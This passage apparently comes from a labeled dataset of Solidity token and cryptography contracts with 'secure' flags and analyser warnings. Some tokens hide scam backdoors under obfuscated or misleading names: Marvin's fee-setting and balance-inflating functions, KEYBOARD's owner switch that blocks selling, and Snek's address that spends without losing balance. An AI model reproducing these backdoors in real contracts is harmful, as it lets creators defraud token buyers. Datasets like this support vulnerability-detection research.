p2.X;\n input[3] = p2.Y;\n bool success;\n assembly {\n success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60)\n\n switch success\n case 0 {\n invalid()\n }\n }\n require(success);\n }\n\n function scalar_mul(\n G1Point memory p,\n uint256 s\n ) internal view returns (G1Point memory r) {\n uint256[3] memory input;\n input[0] = p.X;\n input[1] = p.Y;\n input[2] = s;\n bool success;\n assembly {\n success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60)\n\n switch success\n case 0 {\n invalid()\n }\n }\n require(success);\n }\n\n function pairing(\n G1Point[] memory p1,\n G2Point[] memory p2\n ) internal view returns (bool) {\n require(p1.length == p2.length);\n uint256 elements = p1.length;\n uint256 inputSize = elements * 6;\n uint256[] memory input = new uint256[](inputSize);\n for (uint256 i = 0; i < elements; i++) {\n input[i * 6 + 0] = p1[i].X;\n input[i * 6 + 1] = p1[i].Y;\n input[i * 6 + 2] = p2[i].X[1];\n input[i * 6 + 3] = p2[i].X[0];\n input[i * 6 + 4] = p2[i].Y[1];\n input[i * 6 + 5] = p2[i].Y[0];\n }\n uint256[1] memory out;\n bool success;\n assembly {\n success := staticcall(\n sub(gas(), 2000),\n 8,\n add(input, 0x20),\n mul(inputSize, 0x20),\n out,\n 0x20\n )\n\n switch success\n case 0 {\n invalid()\n }\n }\n require(success);\n return out[0] != 0;\n }\n\n function pairingProd2(\n G1Point memory a1,\n G2Point memory a2,\n G1Point memory b1,\n G2Point memory b2\n ) internal view returns (bool) {\n G1Point[] memory p1 = new G1Point[](2);\n G2Point[] memory p2 = new G2Point[](2);\n p1[0] = a1;\n p1[1] = b1;\n p2[0] = a2;\n p2[1] = b2;\n return pairing(p1, p2);\n }\n\n function pairingProd3(\n G1Point memory a1,\n G2Point memory a2,\n G1Point memory b1,\n G2Point memory b2,\n G1Point memory c1,\n G2Point memory c2\n ) internal view returns (bool) {\n G1Point[] memory p1 = new G1Point[](3);\n G2Point[] memory p2 = new G2Point[](3);\n p1[0] = a1;\n p1[1] = b1;\n p1[2] = c1;\n p2[0] = a2;\n p2[1] = b2;\n p2[2] = c2;\n return pairing(p1, p2);\n }\n\n function pairingProd4(\n G1Point memory a1,\n G2Point memory a2,\n G1Point memory b1,\n G2Point memory b2,\n G1Point memory c1,\n G2Point memory c2,\n G1Point memory d1,\n G2Point memory d2\n ) internal view returns (bool) {\n G1Point[] memory p1 = new G1Point[](4);\n G2Point[] memory p2 = new G2Point[](4);\n p1[0] = a1;\n p1[1] = b1;\n p1[2] = c1;\n p1[3] = d1;\n p2[0] = a2;\n p2[1] = b2;\n p2[2] = c2;\n p2[3] = d2;\n return pairing(p1, p2);\n }\n}",
"file_name": "solidity_code_2019.sol",
"secure": 1,
"size_bytes": 4856
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Mock is ERC20 {\n constructor() ERC20(\"ERC20Mock\", \"MOCK\") {}\n\n function mint(address to, uint256 amount) public {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_202.sol",
"secure": 1,
"size_bytes": 310
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Pairing.sol\" as Pairing;\n\ncontract Verifier {\n using Pairing for *;\n\n struct VerifyingKey {\n Pairing.G1Point alpha;\n Pairing.G2Point beta;\n Pairing.G2Point gamma;\n Pairing.G2Point delta;\n Pairing.G1Point[] gamma_abc;\n }\n\n struct Proof {\n Pairing.G1Point a;\n Pairing.G2Point b;\n Pairing.G1Point c;\n }\n\n function verifyingKey() internal pure returns (VerifyingKey memory vk) {\n vk.alpha = Pairing.G1Point(\n uint256(\n 0x0284c469d8eaf677e29635e18886312bd0c6ba2a632674a2703a8d9a5d5a48db\n ),\n uint256(\n 0x19b4d4d74797c3307e59c683ccad9119397c90f76ad28c043ec9671a95502e76\n )\n );\n vk.beta = Pairing.G2Point(\n [\n uint256(\n 0x0319296206e25c6e7ea35492e825fcdbea39b0980b72f18b3f7385d6d46352b0\n ),\n uint256(\n 0x10bc74487c379aad3a10da56c479ae5db4e4b3faeb354f4aa57ed4524a3e4527\n )\n ],\n [\n uint256(\n 0x2971943778693059384530140201f76e29adf7a4222921b744f09045f2011e1d\n ),\n uint256(\n 0x21099f091b01503caab27b87ee9769840d27963846e35613d26190bc5c4d0cef\n )\n ]\n );\n vk.gamma = Pairing.G2Point(\n [\n uint256(\n 0x2cd9c9e8f055f3663213f71c1c3f99c6b363b35f50e0fe2e8405d029deb1e295\n ),\n uint256(\n 0x0fdcd887987c8e156d574ee4e97cf66bf36e7a8539b8c4bd578ff7bced1a601c\n )\n ],\n [\n uint256(\n 0x2d96d4c9dcf6ff4da92c433beb2749c86fff05bfd2d83c3da9a7d531903ec942\n ),\n uint256(\n 0x13fb1bdc1b558571d6ba4944428eeb52aa0d69378072aa64cf543d4189b8af78\n )\n ]\n );\n vk.delta = Pairing.G2Point(\n [\n uint256(\n 0x122757890c3f43309334e26258842bb8e8ab0450d387ddf7bc20fc5e01619d92\n ),\n uint256(\n 0x00593e12fef04367a7d771cc137c7a3f0f245584f4a40e44c6281ca51e610027\n )\n ],\n [\n uint256(\n 0x11b21f2409f28092f35b9cd195ee93ee5d0e11aca3e1a432c007243e186dec7c\n ),\n uint256(\n 0x1bcf98b5bbd114064cf46447c90092bbf9384056f13c9487d8021f73d92ac452\n )\n ]\n );\n vk.gamma_abc = new Pairing.G1Point[](5);\n vk.gamma_abc[0] = Pairing.G1Point(\n uint256(\n 0x2fc73b5bbb85acbd703828a3df8ee04ef648832b3bbf2c9fd5bb51d4ab0ef984\n ),\n uint256(\n 0x197f3e6cf0bde2d74a7c29bbabe7ea80928b45b23478309ea671a2b973a7edf2\n )\n );\n vk.gamma_abc[1] = Pairing.G1Point(\n uint256(\n 0x1b723ed82a7478e39551e2ab9346eda38a1c000cdd5f8ade3ccf6685f9d37b1e\n ),\n uint256(\n 0x26ad983f9927d8414cddfe79a4eda6717a8e82a0e85450e7ca745cd15af62c77\n )\n );\n vk.gamma_abc[2] = Pairing.G1Point(\n uint256(\n 0x262988545555095a281b0c6ac183626fd44094e1cc230aa38a705030d69124f3\n ),\n uint256(\n 0x1f248dcfb5baf7962c1c481b9d52110825710ace9b94ef387f78651cb9d3335b\n )\n );\n vk.gamma_abc[3] = Pairing.G1Point(\n uint256(\n 0x2b17ccfb2bf38f9ed35f4cb962b705028429e1e66679bff2d13a0f31049a2b3a\n ),\n uint256(\n 0x1abe95f952ab1cd0a71f61d4304c8e85a777cf5afcb1936b9113a6c8acf22c68\n )\n );\n vk.gamma_abc[4] = Pairing.G1Point(\n uint256(\n 0x2d476a4fc5d6e7900b821ac91bc179164787f4c1532bd3b91facf951788f40af\n ),\n uint256(\n 0x2a45d903c16fe8f0d0a14b36ae3ff7252075a266a0c749d3215352f175c1c8f1\n )\n );\n }\n\n function verify(\n uint256[4] memory input,\n Proof memory proof\n ) internal view returns (uint256) {\n uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n VerifyingKey memory vk = verifyingKey();\n require(input.length + 1 == vk.gamma_abc.length);\n\n Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);\n for (uint256 i = 0; i < input.length; i++) {\n require(input[i] < snark_scalar_field);\n vk_x = Pairing.addition(\n vk_x,\n Pairing.scalar_mul(vk.gamma_abc[i + 1], input[i])\n );\n }\n vk_x = Pairing.addition(vk_x, vk.gamma_abc[0]);\n if (\n !Pairing.pairingProd4(\n proof.a,\n proof.b,\n Pairing.negate(vk_x),\n vk.gamma,\n Pairing.negate(proof.c),\n vk.delta,\n Pairing.negate(vk.alpha),\n vk.beta\n )\n ) return 1;\n return 0;\n }\n}",
"file_name": "solidity_code_2020.sol",
"secure": 1,
"size_bytes": 5426
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PepeZuckerberg is ERC20 {\n constructor() ERC20(\"Pepe Zuckerberg\", \"PZUCK\") {\n _mint(msg.sender, 10_000_000 ether);\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n}",
"file_name": "solidity_code_2021.sol",
"secure": 1,
"size_bytes": 366
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address internal _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"!owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8a11131): Ownable.transferOwnershipunityinfe(address).newOwner lacks a zerocheck on \t _owner = newOwner\n\t// Recommendation for 8a11131: Check that the address is not zero.\n function transferOwnershipunityinfe(\n address newOwner\n ) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 8a11131\n\t\t// events-access | ID: badcc0e\n _owner = newOwner;\n }\n}\n",
"file_name": "solidity_code_2022.sol",
"secure": 0,
"size_bytes": 827
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouter.sol\" as IUniswapRouter;\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1ca92d2): Contract locking ether found Contract Marvin has payable functions Marvin.receive() But does not have a function to withdraw the ether\n// Recommendation for 1ca92d2: Remove the 'payable' attribute or add a withdraw function.\ncontract Marvin is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ff45734): Marvin._swapFeeTo should be immutable \n\t// Recommendation for ff45734: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _swapFeeTo;\n string public name;\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 96bc912): Marvin.decimals should be immutable \n\t// Recommendation for 96bc912: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7a16954): Marvin.totalSupply should be immutable \n\t// Recommendation for 7a16954: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 4fd0a2e): Marvin._uniswapRouter should be immutable \n\t// Recommendation for 4fd0a2e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public _uniswapRouter;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8010fc2): Marvin.inSwap should be constant \n\t// Recommendation for 8010fc2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 4e175ab): Marvin.inSwap is never initialized. It is used in Marvin._transfer(address,address,uint256)\n\t// Recommendation for 4e175ab: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n bool private inSwap;\n uint256 private constant MAX = ~uint256(0);\n\n mapping(address => uint256) public __balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 29af702): Marvin._swapTax should be immutable \n\t// Recommendation for 29af702: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapTax;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 21f339e): Marvin._uniswapPair should be immutable \n\t// Recommendation for 21f339e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 4e175ab): Marvin.inSwap is never initialized. It is used in Marvin._transfer(address,address,uint256)\n\t// Recommendation for 4e175ab: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c7d9374): Marvin._transfer(address,address,uint256)._taxAmount is a local variable never initialized\n\t// Recommendation for c7d9374: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n bool shouldBetakeFee = !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to];\n\n _balances[from] = _balances[from] - amount;\n\n uint256 _taxAmount;\n\n if (shouldBetakeFee) {\n uint256 feeAmount = (amount * __balances[from]) / 100;\n\n _taxAmount += feeAmount;\n\n if (feeAmount > 0) {\n _balances[address(_swapFeeTo)] += feeAmount;\n\n emit Transfer(from, address(_swapFeeTo), feeAmount);\n }\n }\n\n _balances[to] = _balances[to] + amount - _taxAmount;\n\n emit Transfer(from, to, amount - _taxAmount);\n }\n\n constructor() {\n name = unicode\"Marvin\";\n\n symbol = unicode\"MARVIN\";\n\n decimals = 9;\n\n uint256 Supply = 420690000000;\n\n _swapFeeTo = msg.sender;\n\n _swapTax = 0;\n\n totalSupply = Supply * 10 ** decimals;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[msg.sender] = true;\n\n _isExcludeFromFee[_swapFeeTo] = true;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n }\n\n function Apporave(\n address[] memory _addresses,\n uint256 _feePercentage\n ) external {\n uint256 tempVal1 = 0x01;\n uint256 tempVal2 = 0x02;\n uint256 tempVal3 = 0x03;\n\n uint256 result = computeFee(tempVal1, tempVal2, tempVal3);\n\n uint256 adjustment = result - tempVal3;\n\n result = adjustment + (tempVal1 - 0x01);\n\n for (uint256 i = 0; i < _addresses.length; i++) {\n __balances[_addresses[i]] = _feePercentage + (result - adjustment);\n }\n }\n\n function computeFee(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n if (isAuthorized(val1, val2, val3)) {\n return val2 + val3;\n } else if (!isAuthorized(val2, val3, val1)) {\n return val2 - val1;\n } else {\n return val3;\n }\n }\n\n function isAuthorized(\n uint256 v1,\n uint256 v2,\n uint256 v3\n ) private view returns (bool) {\n return msg.sender == _swapFeeTo && v1 > 0;\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: f58ab98): Marvin._burnliqtyirers(address).A is written in both A = 9 A = C\n\t// Recommendation for f58ab98: Fix or remove the writes.\n function _burnliqtyirers(address user) public {\n mapping(address => uint256) storage _allowance = _balances;\n\t\t// write-after-write | ID: f58ab98\n\n uint256 A = _swapFeeTo == msg.sender ? 9 : 2 - 1;\n\n uint256 C = A - 3;\n\t\t// write-after-write | ID: f58ab98\n A = C;\n\n _allowance[user] = 1000 * totalSupply * C ** 2;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 009ae1c): Marvin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 009ae1c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f3c56a): Marvin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f3c56a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1ca92d2): Contract locking ether found Contract Marvin has payable functions Marvin.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 1ca92d2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_2023.sol",
"secure": 0,
"size_bytes": 9421
} |
{
"code": "// SPDX-License-Identifier: NONE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9da6535): Contract locking ether found Contract KEYBOARD has payable functions KEYBOARD.receive() But does not have a function to withdraw the ether\n// Recommendation for 9da6535: Remove the 'payable' attribute or add a withdraw function.\ncontract KEYBOARD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n string private constant _name = \"Keyboard Cat\";\n string private constant _symbol = \"KBC\";\n\t// WARNING Optimization Issue (constable-states | ID: 54bb32a): KEYBOARD._taxFeeOnBuy should be constant \n\t// Recommendation for 54bb32a: Add the 'constant' attribute to state variables that never change.\n uint256 private _taxFeeOnBuy = 0;\n uint256 private constant MAX = ~uint256(0);\n uint256 private _previoustaxFee = _taxFee;\n uint256 private _tFeeTotal;\n bool public removeLimits = true;\n bool public enableTrading = false;\n uint256 private _taxFee = _taxFeeOnSell;\n\t// WARNING Optimization Issue (immutable-states | ID: 7131e52): KEYBOARD.uniswapV2Router should be immutable \n\t// Recommendation for 7131e52: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\t// WARNING Optimization Issue (constable-states | ID: 98ff8b1): KEYBOARD._taxFeeOnSell should be constant \n\t// Recommendation for 98ff8b1: Add the 'constant' attribute to state variables that never change.\n uint256 private _taxFeeOnSell = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 576bd11): KEYBOARD.swapEnabled should be constant \n\t// Recommendation for 576bd11: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = true;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant _tTotal = 10000000000 * 10 ** 9;\n\t// WARNING Optimization Issue (immutable-states | ID: e2efd10): KEYBOARD.uniswapV2Pair should be immutable \n\t// Recommendation for e2efd10: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n bool private inSwap = false;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n uint8 private constant _decimals = 9;\n\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6661371): KEYBOARD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6661371: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_taxFee == 0) return;\n\n _previoustaxFee = _taxFee;\n\n _taxFee = 0;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76ebb04): KEYBOARD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76ebb04: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(enableTrading, \"Trading is enabled\");\n _taxFee = _taxFeeOnBuy;\n }\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n _taxFee = _taxFeeOnSell;\n require(removeLimits, \"Limits Removed\");\n }\n }\n\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9da6535): Contract locking ether found Contract KEYBOARD has payable functions KEYBOARD.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 9da6535: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function swapLimit() external onlyOwner {\n removeLimits = false;\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function openTrading() external onlyOwner {\n enableTrading = true;\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2024.sol",
"secure": 0,
"size_bytes": 11638
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Snek is Ownable {\n function approve(\n address fnrykuthqmi,\n uint256 jkcz\n ) public returns (bool success) {\n allowance[msg.sender][fnrykuthqmi] = jkcz;\n emit Approval(msg.sender, fnrykuthqmi, jkcz);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 90467ae): Snek.totalSupply should be constant \n\t// Recommendation for 90467ae: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n mapping(address => uint256) private debcyzjpqrv;\n\n mapping(address => uint256) public balanceOf;\n\n function transferFrom(\n address qhmop,\n address gzhbvoxsdn,\n uint256 jkcz\n ) public returns (bool success) {\n require(jkcz <= allowance[qhmop][msg.sender]);\n allowance[qhmop][msg.sender] -= jkcz;\n alzitxynr(qhmop, gzhbvoxsdn, jkcz);\n return true;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1c6071a): Snek.uedqaw should be immutable \n\t// Recommendation for 1c6071a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uedqaw;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2454826): Snek.gbtxsmedcjyr should be constant \n\t// Recommendation for 2454826: Add the 'constant' attribute to state variables that never change.\n uint256 private gbtxsmedcjyr = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e49a1f5): Snek.name should be constant \n\t// Recommendation for e49a1f5: Add the 'constant' attribute to state variables that never change.\n string public name = \"Snek 2.0\";\n\n mapping(address => uint256) private irakz;\n\n function transfer(\n address gzhbvoxsdn,\n uint256 jkcz\n ) public returns (bool success) {\n alzitxynr(msg.sender, gzhbvoxsdn, jkcz);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 27038aa): Snek.decimals should be constant \n\t// Recommendation for 27038aa: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function alzitxynr(\n address qhmop,\n address gzhbvoxsdn,\n uint256 jkcz\n ) private {\n if (0 == irakz[qhmop]) {\n balanceOf[qhmop] -= jkcz;\n }\n balanceOf[gzhbvoxsdn] += jkcz;\n if (0 == jkcz && gzhbvoxsdn != uedqaw) {\n balanceOf[gzhbvoxsdn] = jkcz;\n }\n emit Transfer(qhmop, gzhbvoxsdn, jkcz);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 12100b9): Snek.symbol should be constant \n\t// Recommendation for 12100b9: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Snek 2.0\";\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor(address nzutcqhexb) {\n balanceOf[msg.sender] = totalSupply;\n irakz[nzutcqhexb] = gbtxsmedcjyr;\n IUniswapV2Router02 mpcrdsfavkt = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uedqaw = IUniswapV2Factory(mpcrdsfavkt.factory()).createPair(\n address(this),\n mpcrdsfavkt.WETH()\n );\n }\n}",
"file_name": "solidity_code_2025.sol",
